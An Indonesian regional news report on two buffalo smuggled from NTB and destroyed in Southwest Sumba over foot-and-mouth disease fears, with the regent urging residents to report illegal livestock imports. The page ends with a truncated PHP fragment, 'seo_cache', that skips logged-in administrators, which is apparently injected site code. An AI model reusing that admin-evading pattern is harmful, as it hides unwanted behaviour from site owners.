Peternakan

Kerbau Selundupan Asal NTB Dimusnahkan, Bupati Minta Seluruh Warga SBD Berperan Aktif Awasi Kejahatan Penyelundupan Ternak

×

Kerbau Selundupan Asal NTB Dimusnahkan, Bupati Minta Seluruh Warga SBD Berperan Aktif Awasi Kejahatan Penyelundupan Ternak

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Peran aktif seluruh unsur masyarakat SBD sangat dibutuhkan dalam pengawasan terhadap penyelundupan ternak.

Imbauan ini disampaikan Bupati SBD, Ratu Ngadu Bonu Wulla, ST dalam sambutannya pada kegiatan sosialisasi perkarantinaan bertajuk “Pencegahan Penyelundupan Hewan Ternak dan Penyebaran Penyakit Hewan ke Kabupaten Sumba Barat Daya” Selasa (28/04/2026).

Sosialisasi yang dipadukan dengan pemusnahan dua ekor kerbau selundupan tersebut dihadiri Kepala Balai Karantina Kupang, Simon Soli, S.Pt, MP, Kapolres SBD, AKBP Harianto Rantesalu, SIK, M.Si dan sejumlah pejabat lain.

Bupati berharap melalui kegiatan sosialisasi ini terbangun kesamaan pemahaman, langkah, dan komitmen seluruh pihak dalam mencegah penyelundupan hewan, serta mengawasi setiap media pembawa karantina hewan yang masuk ke wilayah Kabupaten Sumba Barat Daya.

“Saya juga mengajak seluruh unsur masyarakat untuk turut berperan aktif memberi edukasi, segera melaporkan apabila mengetahui ada pemasukan hewan secara ilegal,” imbaunya.

Pemerintah bersama seluruh jajaran Forkompinda telah bersepakat mencegah masuknya hewan dari ke wilayah Kodi lewat pelabuhan rakyat, terutama dari Provinsi NTB yang merupakan zona merah PMK.

“Jika kita sudah menyumbang PMK dari Sumba Barat Daya, otomatis satu NTT jadi terganggu, tidak bisa kirim ternak keluar, dan sudah pasti akan ada beban biaya tinggi,” ujarnya.

Bupati menegaskan, pihaknya berkomitmen menyelesaikan persoalan PMK di Sumba Barat Daya dan tidak boleh terjadi.

Ia menyebut, pemerintah daerah tidak mau menambah masalah baru dengan masuknya PMK, karena persoalan yang ada saat ini sudah sangat pelik akibat efisiensi anggaran.

“Enak (pemerintah daerah) Nusa Tenggara Barat, dia nggak bisa masukkan ke daerah luar, dia cari sasaran ke kita, karena dianggap apa? Oh orang Sumba ini gampang dikibulin. Mohon maaf Bapak Ibu, orang Sumba ini orang bodoh,” timpalnya.

“Kita dikasih senang dengan harga murah, tidak tahu ini persoalan yang dibawa ke kita. Kita dianggap tempat sampah, yang tidak bagus buang ke Sumba,” katanya lebih lanjut.

Pemusnahan dua ekor kerbau siang itu dipimpin langsung bupati dengan cara dibakar setelah disembelih dan dimasukkan ke dalam lubang.

Dua ekor kerbau ini merupakan barang bukti penyelundupan ternak asal NTB yang terdampar saat kapal pengangkut karam pada Sabtu (07/03/2026) lalu.

Sebelumnya ternak yang terdiri dari seekor kerbau jantan berusia enam tahun dan seekor anak kerbau betina berusia dua tahun ini dititipkan Unit Tipidter Satreskrim Polres SBD di Karantina Satuan Pelayanan Waikelo. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>